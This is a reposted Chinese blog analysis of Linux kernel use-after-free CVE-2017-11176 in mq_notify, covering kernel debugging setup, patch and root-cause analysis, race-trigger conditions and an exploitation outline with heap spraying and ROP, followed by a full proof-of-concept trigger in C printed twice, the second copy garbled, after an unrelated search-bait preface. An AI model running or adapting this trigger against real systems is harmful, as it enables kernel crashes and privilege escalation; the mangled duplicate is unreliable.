前言:
此时我们对“vbnet非空”都比较珍视,朋友们都想要了解一些“vbnet非空”的相关资讯。那么小编也在网摘上收集了一些对于“vbnet非空””的相关资讯,希望大家能喜欢,你们一起来学习一下吧!01 概述
Linux内核中的POSIX消息队列实现中存在一个UAF漏洞CVE-2017-11176。攻击者可以利用该漏洞导致拒绝服务或执行任意代码。
02 影响范围
内核版本至最高Linux kernel through 4.11.9中的mq_notify函数在进入etry logic时不会将sock指针设置为NULL。在Netlink套接字的用户空间关闭期间,它允许攻击者导致UAF。
Red Hat:
Ubuntu:
Debian:
03 环境搭建
3.1 调试环境
3.2 Centos7 双机调试
3.2.1 centos执行命令
yum install -y kernel-devel sudo vim /etc/yum.repos.d/CentOS-Debuginfo.repo 里面的enable字段修改为enable=1sudo debuginfo-install kernel vi /boot/grub2/grub.cfg vi /etc/grub2.cfg 执行上面命令,找到如下图所示menuentry 中的linux所在的行,在quiet后追加下面的一行 kgdbwait kgdb8250=io,03f8,ttyS0,115200,4 kgdboc=ttyS0,115200 kgdbcon nokaslr执行下面命令更新grubgrub2-mkconfig -o /boot/grub2/grub.cfggrub2-mkconfig -o /etc/grub2.cfg
上面的ttyS0是有可能改变的,如有打印机等请移除。
3.2.2 vmware添加串口
centos7添加串口:
ubuntu添加串口:
测试串口:
centos执行:cat/dev/ttyS0ubuntu执行:echo hello > /dev/ttyS0
如上图所示centos输出hello代表成功。
3.2.3 测试调试环境
拷贝centos中的vmlinux到ubuntu(调试机),下面是本文章vmlinux所在的绝对路径。
/usr/lib/debug/lib/modules/3.10.0-693.el7.x86_64/vmlinux
重新启动centos,会发现centos如下图所示。
ubuntu执行下面的命令,每次ubuntu重启后都需要重新执行。
sudo stty -F /dev/ttyS0 115200sudo stty -F /dev/ttyS0gdb target remote /dev/ttyS0 file vmlinux c
centos正常运行,调试环境搭建成功。
3.3 下载源码
uname -a 查看自己内核版本cat /etc/redhat-release 查看版本
下面的链接为centos源码下载官网:
打开后如下图所示。
进入官网后,再一次进入自己对应机器的版本。这里进入7.4,进入os/,进入Source/,进入SPackages/,找到对应版本的rpm包下载在解压即可。
将得到的源码包放入ubuntu调试机。(如果本地的物理机是windows也保留一份,需要对照源码)
调试centos内核的时候,使用dir命令加载源码,在使用l命令查看是否成功,如下图所示。
dir /home/koffer/linux-3.10.0-693.el7
先使用exploit验证一下漏洞是否存在,提权成功。
04 补丁分析
源码的下载方式上面已给出,使用任何习惯的代码阅读器打开。
补丁地址:
可以发现补丁点在mqueue.c,并且只添加了一行。
patch的描述提供了更多的信息:
mqueue: fix a use-after-free in sys_mq_notify()The retry logic for netlink_attachskb() inside sys_mq_notify()is nasty and vulnerable:1) The sock refcnt is already released when retry is needed2) The fd is controllable by user-space because we already release the file refcntso we then retry but the fd has been just closed by user-spaceduring this small window, we end up calling netlink_detachskb()on the error path which releases the sock again, later whenthe user-space closes this socket a use-after-free could betriggered.Setting 'sock' to NULL here should be sufficient to fix it
有漏洞的代码存在于mq_notify在retry的逻辑中有错误在sock的计数器上有错误导致UAF漏洞与已经关闭的fd的条件竞争有关
介绍下mq_notify系统调用的用途,mq_*代表”POSIX message queues”,用来代替System V message queues:
POSIX message queues allow processes to exchange data in the form of messages.This API is distinct from that provided by System V message queues (msgget(2),msgsnd(2), msgrcv(2), etc.), but provides similar functionality.
mq_notify()系统调用用来注册或注销异步提醒:
mq_notify() allows the calling process to register or unregister for delivery of an asynchronous notification when a new message arrives on the empty message queue referred to by the descriptor mqdes.
05 漏洞成因分析
Posix消息队列允许异步事件通知,当往一个空队列放置一个消息时,Posix消息队列允许产生一个信号或启动一个线程。这种异步事件通知调用mq_notify函数实现,mq_notify为指定队列建立或删除异步通知。由于mq_notify函数在进入retry流程时没有将sock指针设置为NULL,可能导致UAF漏洞。
本文章使用的内核源代码为centos7.4 1708 版本默认内核版本版本3.10.0-693.el7的源码。
首先查看漏洞所在代码/ipc/mqueue.c:
SYSCALL_DEFINE2(mq_notify, mqd_t, mqdes, const struct sigevent __user *, u_notification)
根据上面的补丁信息,先查看函数的执行流程,下图是经过删减的mq_notify函数。
// from [ipc/mqueue.c] SYSCALL_DEFINE2(mq_notify, mqd_t, mqdes, const struct sigevent __user *, u_notification) { int ret; struct file *filp; struct sock *sock; struct sigevent notification; struct sk_buff *nc; // ... cut (copy userland data to kernel + skb allocation) ... sock = NULL; retry:[0] filp = fget(notification.sigev_signo); if (!filp) { ret = -EBADF;[1] goto out; }[2a] sock = netlink_getsockbyfilp(filp);[2b] fput(filp); if (IS_ERR(sock)) { ret = PTR_ERR(sock); sock = NULL;[3] goto out; } timeo = MAX_SCHEDULE_TIMEOUT;[4] ret = netlink_attachskb(sock, nc, &timeo, NULL); if (ret == 1)[5a] goto retry; if (ret) { sock = NULL; nc = NULL;[5b] goto out; }[5c] // ... cut (normal path) ... out: if (sock) { netlink_detachskb(sock, nc); } else if (nc) { dev_kfree_skb(nc); } return ret; }
首先开始从【0】处获取用户提供的文件描述符,如果这个fd不存在于当前进程的fdt中,将会返回空指针并进入退出流程[1]。
[2a]提供的文件的sock对象也被获取。如果没有有效的sock对象,同样会置NULL并进入退出流程[3]。
随后调用netlink_attachskb()函数。
直接到【5c】处ret==1 执行到retrync和sock置为NULL然后执行到退出流程
根据补丁信息应该是要netlink_attachskb返回值为1执行到retry处才能触发漏洞,但是还有一块逻辑nc和sock为什么要置为NULL。
跟进netlink_detachskb函数:
再次跟进sock_put函数:
可以发现sock被置NULL并进入退出流程他的引用计数器sk_refcnt无条件会减一。正如patch所描述的,漏洞代码的sock对象的refcount存在着问题。
回头去查看retry处代码:
发现了netlink_getsockbyfilp函数。跟进netlink_getsockbyfilp函数,如下图所示。
sock对象的refcounter在sock_hold处被增加,计数器无条件地被netlink_getsockbyfilp()加一,被netlink_detachskb()(如果sock非空)减一。
下面为netlink_attachskb函数简化代码:
// from [net/netlink/af_netlink.c]/* * Attach a skb to a netlink socket. * The caller must hold a reference to the destination socket. On error, the * reference is dropped. The skb is not sent to the destination, just all * all error checks are performed and memory in the queue is reserved. * Return values: * < 0: error. skb freed, reference to sock dropped. * 0: continue * 1: repeat lookup - reference dropped while waiting for socket memory. */int netlink_attachskb(struct sock *sk, struct sk_buff *skb, long *timeo, struct sock *ssk){ struct netlink_sock *nlk; nlk = nlk_sk(sk); if (atomic_read(&sk->sk_rmem_alloc) > sk->sk_rcvbuf || test_bit(0, &nlk->state)) { // ... cut (wait until some conditions) ... sock_put(sk); // <----- refcnt decremented here if (signal_pending(current)) { kfree_skb(skb); return sock_intr_errno(*timeo); // <----- "error" path } return 1; // <----- "retry" path } skb_set_owner_r(skb, sk); // <----- "normal" path return 0;}
函数的功能是将skb绑定到netlink socket,sock_put(sk)导致refcnt减少,最后return 1,返回返回直接goto到retry标签的地方。
如下图所示,这里并没有将sock和nc置为NULL:
下面这两处函数的调用刚好将引用计数抵消:
如下图所示在retry代码块中,f=fdget(notification.sigev_signo),如果f.file为空,直接goto到out标签。
在上面的分析中,out判断sock是否为空,如果不为空,调用netlink_detachskb函数。释放skb,并减少sk引用计数,进行释放。那么就有问题了,如果我们创建A线程保持netlink_attachskb返回1,并重复retry逻辑,这个时候sock的引用计数是保持平衡的,一加一减,但是sock并不是为空。同时再创建B线程去关闭netlink socket对应的文件描述符。由于B线程关闭了netlink socket的文件描述符,那A线程在retry逻辑中,调用fdget时会失败,然后直接goto到out标签,进行释放,进行了二次释放,导致漏洞。这个漏洞是属于条件竞争型的二次释放漏洞,只在一个线程中,是无法触发漏洞。
06 触发漏洞
现在已经知道漏洞是如何造成的了,但是如何触发这个漏洞。
6.1 netlink_attachskb函数流程分析
在netlink_attachskb函数中,主要逻辑如下:
1、判断atomic_read(&sk->sk_rmem_alloc)是否大于sk->sk_rcvbuf,或者 test_bit(NETLINK_CONGESTED,&nlk->state))是否为真,和netlink_skb_is_mmaped(skb)是否为空;其中netlink_skb_is_mmaped(skb)返回结构肯定为True。
如果进入该分支,首先会调用 DECLARE_WAITQUEUE声明一个等待队列;判断timeo是否为空,这里不为空,不进入后续分支;随后调用__set_current_state设置当前task状态TASK_INTERRUPTIBLE;然后调用add_wait_queue将当前线程添加到 wait队列;然后进入判断,由于(atomic_read(&sk->sk_rmem_alloc)>sk->sk_rcvbuf || test_bit(NETLINK_CONGESTED,&nlk->state))这个判断在最开始已经为真,所以只需要确定 sock_flag是否为sock_DEAD。若为真,则调用schedule_timeout进行cpu调度,当前线程进入block状态;调用__set_current_state函数,设置当前task为TASK_RUNNING;调用remove_wait_queue函数,将当前线程从 wait队列中移除;调用sock_put函数,将sock的引用计数减1;最后调用signal_pending判断当前current,若为真,则调用kfree_skb释放skb;最后返回1。
2、如果不进入该分支,则会调用netlink_skb_set_owner_r函数:
会调用atomic_add将sk->sk_rmem_alloc加上skb->truesize,也就是扩大了sk->sk_rmem_alloc大小。
首先netlink_skb_is_mmaped(skb)肯定为True,所以只需要(atomic_read(&sk->sk_rmem_alloc)>sk->sk_rcvbuf || test_bit(NETLINK_CONGESTED,&nlk->state))为真即可。
为了触发漏洞,需要netlink_attachskb的返回值为1,可以通过增大sk->sk_rmem_alloc的值或减小sk->sk_rcvbuf的值。
6.2 增大sk->sk_rmem_alloc
在netlink_attachskb函数中,首先会对sk->sk_rmem_alloc与sk->sk_recvbuf函数进行判断,如果判断不通过,则会执行到netlink_set_owner_r函数。
sk_rmem_alloc可以视为sk缓冲区的当前大小,sk_rcvbuf是sk的理论大小,因为sk_rmem_alloc有等于0的情况,因此sk_rcvbuf可能需要<0才可以,在sock_setsockopt函数中可以设置sk_rcvbuf的值,但是它的值始终会是一个>0的值,因此这个判断很难以通过。会直接执行到 netlink_skb_set_owner_r。
那么是否能够通过多次调用mq_notify()函数,第一次直接执行netlink_skb_set_owner_r来增大 sk_rmem_alloc,然后第二次执行时由于 sk_rmem_alloc已经增大了来进入返回1的路径。
消息队列的一个成员只能执行一次。所以只能想办法用其他路径来触发netlink_skb_set_owner_r,以此来增大sk_rmem_alloc。这里先寻找一下关于 netlink_skb_set_owner_r的调用链。
最终发现如下调用链,可以调用skb_set_owner_r来更改sk_rmem_alloc的值:
netlink_sendmsg->netlink_unicast->netlink_attachskb->netlink_skb_owner_r
查看netlink_sendmsg代码:
执行netlink_unicast函数需要满足如下条件:
msg->msg_flags不等于MSG_OOBscm_send返回值大于等于0,也即保证msg->msg_controllen<=0即可addr->nl_family=AF_NETLINK,且 dst_group不等于dst_portid,netlink_allowed返回值不为空nlk->portid不为空,且sk->sk_sndbuf-32大于len需要控制msg->msg_iter的type\nr_segs\iov为对应值
最后调用netlink_unicast,但是这个函数里面没有易于我们控制的参数。
调用该函数可以直接通过调用链调用 netlink_attachskb,最后调用 netlink_skb_set_owner_r,也就是会增加 sk_rmem_alloc的值。
6.3 减小sk->sk_rcvbuf
setsockopt函数中,找到sock_setsockopt的函数,其中有对sk->sk_rcvbuf的操作:
首先val从val和sysctl_rmem_max中取最小值。然后sk->sk_rcvbuf从val*2和sock_min_rcvbuf中取最大值。这里就可以修改sk->sk_rcvbuf的值。这里的val是由我们传入的,可以控制sk->sk_rcvbuf的大小。
当ret==1时触发漏洞,ret为netlink_attachskb的返回值,mq_notify系统调用执行到 netlink_attachskb的条件:
u_notification !=NULLnotification.sigev_notify = SIGEV_THREADnotification.sigev_value.sival_ptr必须有效notification.sigev_signo提供一个有效的文件描述符
6.4 唤醒线程
在上面对netlink_attachskb进行分析时讲到当进入 if分支后,会执行schedule_timeout,会让当前线程进入block状态。而不想阻塞线程,只能设置 sock_flag为SOCK_DEAD,但是如果这样设置后面就没法再执行了。所以这里必须得进入block状态,我们只能想办法去唤醒被block的线程。
调用wake_up_interruptible来唤醒线程,调用链和代码如下所示:
netlink_setsockopt->wake_up_interruptible
6.5 retry跳转到out
通过上面的操作,已经能保证netlink_attackskb首先进入retry分支。然后我们要使retry循环出错,直接跳转到out代码块。
netlink_attackskb的正常流程为:
netlink_getsockbyfilp根据fd获取sock结构,此时 ock的引用加1;然后进入attachskb函数,判断此时的sk是不是满了,如果满了,则sock的引用减一;然后继续尝试获取sock,当sock还有剩余空间的时候,把skb跟sock绑定;此时sock的引用,一加一减保持平衡。
通过多线程同时竞争则会产生如下情况:
当线程1还未进入retry时,线程2调用了close触发了fputs,使引用计数ref count减1,并从映射表中将fd和文件的映射移除,因为调用 close(fd)函数将会释放最后一个对文件的引用,所以file结构体将会被释放。由于file结构体被释放,相关联的sock的结构体的引用计数减1,且sock的计数为0,导致其被释放。这时 sock指针并没有被设置为 NULL,使其成为一个野指针。然后在线程1中,因为 fd已经不指向任何有效的文件结构,所以第二次调用 fget()时会失败,程序将会跳转到 out标签处,接着 netlink_detachskb()将会使用之前已经被释放的 sock指针,导致 use after free。这里的 use after free是漏洞导致的结果而不是漏洞产生的原因。
07 漏洞利用
7.1 堆分配
对于UAF类型的漏洞,通用方法就是使用堆喷射占位。本次漏洞中被多次释放的对象是netlink_sock对象。netlink_sock对象大小为0x4a8字节,即是1192byte。
slab分配器在分配对象时,遵守后进先出的规则。下图是slab分配器释放对象的过程。
要释放的objp在ac->entry的末端,slab分配对象直接在ac->entry末端弹出一个对象。
被释放的对象是排在链表末段,如果此时同一缓存中进行对象分配,刚刚释放的对象会被重新分配出去,这就出现两个指针指向同一块内存地址。要想保证申请的内存正好落在漏洞对象的内存位置中:
堆喷对象使用的内核缓存应该和漏洞对象内存在同一个缓存中。
ac本身是array_chche结构体,该结构体是本地高速缓存,每个CPU对应一个,所以还要保证堆喷申请的对象和漏洞对象在同一个CPU本地高速缓存中。
如果堆喷申请的对象只是短暂驻留,当该函数返回时将申请的对象进行了释放,导致无法正确占位。所以要能保证申请的对象不被释放,至少保证在使用漏洞对象时不被释放,这里要采用驻留式内存占位,可以采取让某些系统调用过程阻塞。
7.2 利用流程分析
7.2.1 wait等待队列
在进行堆喷、构造堆喷对象时,有必要在对应漏洞对象的一些特殊成员域的内存偏移处设置magic value,然后可以采用系统调用去获取漏洞对象中相关数据进行判断。netlink_sock结构体几个关键的成员如下图所示:
采用getsockname系统调用获取数据,getsockname会调用netlink_getname。具体看一下netlink_getname函数:
将netlink_sock对象中的portid复制给nladdr->nl_pid。如果nlk->group为0,将nladdr->nl_groups赋值为NULL,这里避免解引用nlk->groups指针,直接可以在构造堆喷对象时将groups域填零。而nladdr是从addr转换过来的,addr就是从用户层传入的缓冲区,netlink_sock结构体如下:
wait_queue_haed_t结构体如下图所示:
7.2.2 func执行代码
task_list成员是一个双向循环链表头,task_list中链接的每一个成员都是需要处理的等待例程元素。进入如下图所示的wake_up_interruptible函数中。
如上图所示调用__wake_up_common函数,宏list_for_each_entry_safe遍历q->task_list中的成员。curr为wait_queue_t指针,说明q->task_list链表中存的是wait_queue_t类型的元素,wait_queue_t结构体。
如上图所示调用__wake_up_common函数,宏list_for_each_entry_safe遍历q->task_list中的成员。curr为wait_queue_t指针,说明q->task_list链表中存的是wait_queue_t类型的元素,wait_queue_t结构体。
wait_queue_t结构体如下所示:
queue元素,对pos->member.next进行了解引用,这里的pos->member就是wait_queue中的task_list。__wait_queue中的task_list也是一个链表头,需要指向一个list_head,所以还必须要构造一个假的list_head以便于该宏进行解引用。
7.3 调试验证
根据上面的分析已经明白了漏洞触发到漏洞利用的一个整体的流程,编写漏洞利用代码并测试,可以先在netlink_attachskb下断点,判断返回值是否为1,如果为1说明已经进入retry分支,然后在fdget下断点判断是否为0,判断成功后将会进入out分支,double-fetch成功。
如下图所示netlink_attachskb返回1,成功进入retry。
继续对fdget下断点,查看是否如我们想象中的那样运行。
如上图所示fget返回值为0,程序的执行流程转为out。
在__wake_up_common调用函数指针下断点执行下去,发现程序最终执行到构造的rop链条,如下图所示。
下图是我使用的centos7.4所构造的rop链条。
通过ROP链绕过SMEP执行提权代码。
08 poc
下面的代码是可以触发漏洞的poc。
/* * CVE-2017-11176 Proof-of-concept code by LEXFO. * * Compile with: * * gcc -fpic -O0 -std=c99 -Wall -pthread exploit.c -o exploit */#define _GNU_SOURCE#include <asm/types.h>#include <mqueue.h>#include <stdio.h>#include <stdlib.h>#include <string.h>#include <unistd.h>#include <sys/syscall.h>#include <sys/types.h>#include <sys/socket.h>#include <linux/netlink.h>#include <pthread.h>#include <errno.h>#include <stdbool.h>// ============================================================================// ----------------------------------------------------------------------------// ============================================================================#define NOTIFY_COOKIE_LEN (32)#define SOL_NETLINK (270) // from [include/linux/socket.h]// ----------------------------------------------------------------------------// avoid library wrappers#define _mq_notify(mqdes, sevp) syscall(__NR_mq_notify, mqdes, sevp)#define _socket(domain, type, protocol) syscall(__NR_socket, domain, type, protocol)#define _setsockopt(sockfd, level, optname, optval, optlen) \ syscall(__NR_setsockopt, sockfd, level, optname, optval, optlen)#define _getsockopt(sockfd, level, optname, optval, optlen) \ syscall(__NR_getsockopt, sockfd, level, optname, optval, optlen)#define _dup(oldfd) syscall(__NR_dup, oldfd)#define _close(fd) syscall(__NR_close, fd)#define _sendmsg(sockfd, msg, flags) syscall(__NR_sendmsg, sockfd, msg, flags)#define _bind(sockfd, addr, addrlen) syscall(__NR_bind, sockfd, addr, addrlen)// ----------------------------------------------------------------------------#define PRESS_KEY() \ do { printf("[ ] press key to continue...\n"); getchar(); } while(0)// ============================================================================// ----------------------------------------------------------------------------// ============================================================================struct unblock_thread_arg{ int sock_fd; int unblock_fd; bool is_ready; // we can use pthread barrier instead};// ----------------------------------------------------------------------------static void* unblock_thread(void *arg){ struct unblock_thread_arg *uta = (struct unblock_thread_arg*) arg; int val = 3535; // need to be different than zero // notify the main thread that the unblock thread has been created. It *must* // directly call mq_notify(). uta->is_ready = true; sleep(5); // gives some time for the main thread to block printf("[ ][unblock] closing %d fd\n", uta->sock_fd); _close(uta->sock_fd); printf("[ ][unblock] unblocking now\n"); if (_setsockopt(uta->unblock_fd, SOL_NETLINK, NETLINK_NO_ENOBUFS, &val, sizeof(val))) perror("[+] setsockopt"); return NULL;}// ----------------------------------------------------------------------------static int decrease_sock_refcounter(int sock_fd, int unblock_fd){ pthread_t tid; struct sigevent sigev; struct unblock_thread_arg uta; char sival_buffer[NOTIFY_COOKIE_LEN]; // initialize the unblock thread arguments uta.sock_fd = sock_fd; uta.unblock_fd = unblock_fd; uta.is_ready = false; // initialize the sigevent structure memset(&sigev, 0, sizeof(sigev)); sigev.sigev_notify = SIGEV_THREAD; sigev.sigev_value.sival_ptr = sival_buffer; sigev.sigev_signo = uta.sock_fd; printf("[ ] creating unblock thread...\n"); if ((errno = pthread_create(&tid, NULL, unblock_thread, &uta)) != 0) { perror("[-] pthread_create"); goto fail; } while (uta.is_ready == false) // spinlock until thread is created ; printf("[+] unblocking thread has been created!\n"); printf("[ ] get ready to block\n"); if ((_mq_notify((mqd_t)-1, &sigev) != -1) || (errno != EBADF)) { perror("[-] mq_notify"); goto fail; } printf("[+] mq_notify succeed\n"); return 0;fail: return -1;}// ============================================================================// ----------------------------------------------------------------------------// ============================================================================/* * Creates a netlink socket and fills its receive buffer. * * Returns the socket file descriptor or -1 on error. */static int prepare_blocking_socket(void){ int send_fd; int recv_fd; char buf[1024*10]; int new_size = 0; // this will be reset to SOCK_MIN_RCVBUF struct sockaddr_nl addr = { .nl_family = AF_NETLINK, .nl_pad = 0, .nl_pid = 118, // must different than zero .nl_groups = 0 // no groups }; struct iovec iov = { .iov_base = buf, .iov_len = sizeof(buf) }; struct msghdr mhdr = { .msg_name = &addr, .msg_namelen = sizeof(addr), .msg_iov = &iov, .msg_iovlen = 1, .msg_control = NULL, .msg_controllen = 0, .msg_flags = 0, }; printf("[ ] preparing blocking netlink socket\n"); if ((send_fd = _socket(AF_NETLINK, SOCK_DGRAM, NETLINK_USERSOCK)) < 0 || (recv_fd = _socket(AF_NETLINK, SOCK_DGRAM, NETLINK_USERSOCK)) < 0) { perror("socket"); goto fail; } printf("[+] socket created (send_fd = %d, recv_fd = %d)\n", send_fd, recv_fd); while (_bind(recv_fd, (struct sockaddr*)&addr, sizeof(addr))) { if (errno != EADDRINUSE) { perror("[-] bind"); goto fail; } addr.nl_pid++; } printf("[+] netlink socket bound (nl_pid=%d)\n", addr.nl_pid); if (_setsockopt(recv_fd, SOL_SOCKET, SO_RCVBUF, &new_size, sizeof(new_size))) perror("[-] setsockopt"); // no worry if it fails, it is just an optim. else printf("[+] receive buffer reduced\n"); printf("[ ] flooding socket\n"); while (_sendmsg(send_fd, &mhdr, MSG_DONTWAIT) > 0) ; if (errno != EAGAIN) { perror("[-] sendmsg"); goto fail; } printf("[+] flood completed\n"); _close(send_fd); printf("[+] blocking socket ready\n"); return recv_fd;fail: printf("[-] failed to prepare block socket\n"); return -1;}// ============================================================================// ----------------------------------------------------------------------------// ============================================================================int main(void){ int sock_fd = -1; int sock_fd2 = -1; int unblock_fd = 1; printf("[ ] -={ CVE-2017-11176 Exploit }=-\n"); if ((sock_fd = prepare_blocking_socket()) < 0) goto fail; printf("[+] netlink socket created = %d\n", sock_fd); if (((unblock_fd = _dup(sock_fd)) < 0) || ((sock_fd2 = _dup(sock_fd)) < 0)) { perror("[-] dup"); goto fail; } printf("[+] netlink fd duplicated (unblock_fd=%d, sock_fd2=%d)\n", unblock_fd, sock_fd2); // trigger the bug twice if (decrease_sock_refcounter(sock_fd, unblock_fd) || decrease_sock_refcounter(sock_fd2, unblock_fd)) { goto fail; } printf("[ ] ready to crash?\n"); PRESS_KEY(); // TODO: exploit return 0;fail: printf("[-] exploit failed!\n"); PRESS_KEY(); return -1;}// ============================================================================// ----------------------------------------------------------------------------// ============================================================================
xxxxxxxxxxbr /*br * CVE-2017-11176 Proof-of-concept code by LEXFO.br *br * Compile with:br *br * gcc -fpic -O0 -std=c99 -Wall -pthread exploit.c -o exploitbr */brbrbr#define _GNU_SOURCEbr#include <asm/types.h>br#include <mqueue.h>br#include <stdio.h>br#include <stdlib.h>br#include <string.h>br#include <unistd.h>br#include <sys/syscall.h>br#include <sys/types.h>br#include <sys/socket.h>br#include <linux/netlink.h>br#include <pthread.h>br#include <errno.h>br#include <stdbool.h>brbrbr// ============================================================================br// ----------------------------------------------------------------------------br// ============================================================================brbrbr#define NOTIFY_COOKIE_LEN (32)br#define SOL_NETLINK (270) // from [include/linux/socket.h]brbrbr// ----------------------------------------------------------------------------brbrbr// avoid library wrappersbr#define _mq_notify(mqdes, sevp) syscall(__NR_mq_notify, mqdes, sevp)br#define _socket(domain, type, protocol) syscall(__NR_socket, domain, type, protocol)br#define _setsockopt(sockfd, level, optname, optval, optlen) \br syscall(__NR_setsockopt, sockfd, level, optname, optval, optlen)br#define _getsockopt(sockfd, level, optname, optval, optlen) \br syscall(__NR_getsockopt, sockfd, level, optname, optval, optlen)br#define _dup(oldfd) syscall(__NR_dup, oldfd)br#define _close(fd) syscall(__NR_close, fd)br#define _sendmsg(sockfd, msg, flags) syscall(__NR_sendmsg, sockfd, msg, flags)br#define _bind(sockfd, addr, addrlen) syscall(__NR_bind, sockfd, addr, addrlen)brbrbr// ----------------------------------------------------------------------------brbrbr#define PRESS_KEY() \br do { printf("[ ] press key to continue...\n"); getchar(); } while(0)brbrbr// ============================================================================br// ----------------------------------------------------------------------------br// ============================================================================brbrbrstruct unblock_thread_argbr{br int sock_fd;br int unblock_fd;br bool is_ready; // we can use pthread barrier insteadbr};brbrbr// ----------------------------------------------------------------------------brbrbrstatic void* unblock_thread(void *arg)br{br struct unblock_thread_arg *uta = (struct unblock_thread_arg*) arg;br int val = 3535; // need to be different than zerobrbrbr // notify the main thread that the unblock thread has been created. It *must*br // directly call mq_notify().br uta->is_ready = true; brbrbr sleep(5); // gives some time for the main thread to blockbrbrbr printf("[ ][unblock] closing %d fd\n", uta->sock_fd);br _close(uta->sock_fd);brbrbr printf("[ ][unblock] unblocking now\n");br if (_setsockopt(uta->unblock_fd, SOL_NETLINK, NETLINK_NO_ENOBUFS, &val, sizeof(val)))br perror("[+] setsockopt");br return NULL;br}brbrbr// ----------------------------------------------------------------------------brbrbrstatic int decrease_sock_refcounter(int sock_fd, int unblock_fd)br{br pthread_t tid;br struct sigevent sigev;br struct unblock_thread_arg uta;br char sival_buffer[NOTIFY_COOKIE_LEN];brbrbr // initialize the unblock thread argumentsbr uta.sock_fd = sock_fd;br uta.unblock_fd = unblock_fd;br uta.is_ready = false;brbrbr // initialize the sigevent structurebr memset(&sigev, 0, sizeof(sigev));br sigev.sigev_notify = SIGEV_THREAD;br sigev.sigev_value.sival_ptr = sival_buffer;br sigev.sigev_signo = uta.sock_fd;brbrbr printf("[ ] creating unblock thread...\n");br if ((errno = pthread_create(&tid, NULL, unblock_thread, &uta)) != 0)br {br perror("[-] pthread_create");br goto fail;br }br while (uta.is_ready == false) // spinlock until thread is createdbr ;br printf("[+] unblocking thread has been created!\n");brbrbr printf("[ ] get ready to block\n");br if ((_mq_notify((mqd_t)-1, &sigev) != -1) || (errno != EBADF))br {br perror("[-] mq_notify");br goto fail;br }br printf("[+] mq_notify succeed\n");brbrbr return 0;brbrbrfail:br return -1;br}brbrbr// ============================================================================br// ----------------------------------------------------------------------------br// ============================================================================brbrbr/*br * Creates a netlink socket and fills its receive buffer.br *br * Returns the socket file descriptor or -1 on error.br */brbrbrstatic int prepare_blocking_socket(void)br{br int send_fd;br int recv_fd;br char buf[1024*10];br int new_size = 0; // this will be reset to SOCK_MIN_RCVBUFbrbrbr struct sockaddr_nl addr = {br .nl_family = AF_NETLINK,br .nl_pad = 0,br .nl_pid = 118, // must different than zerobr .nl_groups = 0 // no groupsbr };brbrbr struct iovec iov = {br .iov_base = buf,br .iov_len = sizeof(buf)br };brbrbr struct msghdr mhdr = {br .msg_name = &addr,br .msg_namelen = sizeof(addr),br .msg_iov = &iov,br .msg_iovlen = 1,br .msg_control = NULL,br .msg_controllen = 0,br .msg_flags = 0, br };brbrbr printf("[ ] preparing blocking netlink socket\n");brbrbr if ((send_fd = _socket(AF_NETLINK, SOCK_DGRAM, NETLINK_USERSOCK)) < 0 ||br (recv_fd = _socket(AF_NETLINK, SOCK_DGRAM, NETLINK_USERSOCK)) < 0)br {br perror("socket");br goto fail;br }br printf("[+] socket created (send_fd = %d, recv_fd = %d)\n", send_fd, recv_fd);brbrbr while (_bind(recv_fd, (struct sockaddr*)&addr, sizeof(addr)))br {br if (errno != EADDRINUSE)br {br perror("[-] bind");br goto fail;br }br addr.nl_pid++;br }brbrbr printf("[+] netlink socket bound (nl_pid=%d)\n", addr.nl_pid);brbrbr if (_setsockopt(recv_fd, SOL_SOCKET, SO_RCVBUF, &new_size, sizeof(new_size)))br perror("[-] setsockopt"); // no worry if it fails, it is just an optim.br elsebr printf("[+] receive buffer reduced\n");brbrbr printf("[ ] flooding socket\n");br while (_sendmsg(send_fd, &mhdr, MSG_DONTWAIT) > 0)br ;br if (errno != EAGAIN)br {br perror("[-] sendmsg");br goto fail;br }br printf("[+] flood completed\n");brbrbr _close(send_fd);brbrbr printf("[+] blocking socket ready\n");br return recv_fd;brbrbrfail:br printf("[-] failed to prepare block socket\n");br return -1;br}brbrbr// ============================================================================br// ----------------------------------------------------------------------------br// ============================================================================brbrbrint main(void)br{br int sock_fd = -1;br int sock_fd2 = -1;br int unblock_fd = 1;brbrbr printf("[ ] -={ CVE-2017-11176 Exploit }=-\n");brbrbr if ((sock_fd = prepare_blocking_socket()) < 0)br goto fail;br printf("[+] netlink socket created = %d\n", sock_fd);brbrbr if (((unblock_fd = _dup(sock_fd)) < 0) || ((sock_fd2 = _dup(sock_fd)) < 0))br {br perror("[-] dup");br goto fail;br }br printf("[+] netlink fd duplicated (unblock_fd=%d, sock_fd2=%d)\n", unblock_fd, sock_fd2);brbrbr // trigger the bug twicebr if (decrease_sock_refcounter(sock_fd, unblock_fd) ||br decrease_sock_refcounter(sock_fd2, unblock_fd))br {br goto fail;br }brbrbr printf("[ ] ready to crash?\n");br PRESS_KEY();brbrbr // TODO: exploitbrbrbr return 0;brbrbrfail:br printf("[-] exploit failed!\n");br PRESS_KEY();br return -1;br}brbrbr// ============================================================================br// ----------------------------------------------------------------------------br// ============================================================================
09 总结
此漏洞的原理很简单、利用方式不是很难,但是我也调试挺长时间,难点在于如何去触发漏洞以及利用漏洞的时候绕过各种检查和条件。虽然现在已经得到了root shell但是还有很多需要改善的地方。分析复现漏洞应该更加关注自己使用的环境,自己的环境和别人文章中的是有不同的。清楚明白漏洞产生的原因,如何去触发漏洞、绕过检查、利用手法、清理环境等。这篇文章也是笔者第一次分析复现linux下的内核提权漏洞,如有不当之处还请指正。
视频演示:
「链接」linux kernel UAF(CVE-2017-11176)漏洞分析与利用
参考链接:
标签: #vbnet非空 #centos配置usb转串口 #centos7串口 #centos7串口超过6个 #uaf漏洞原理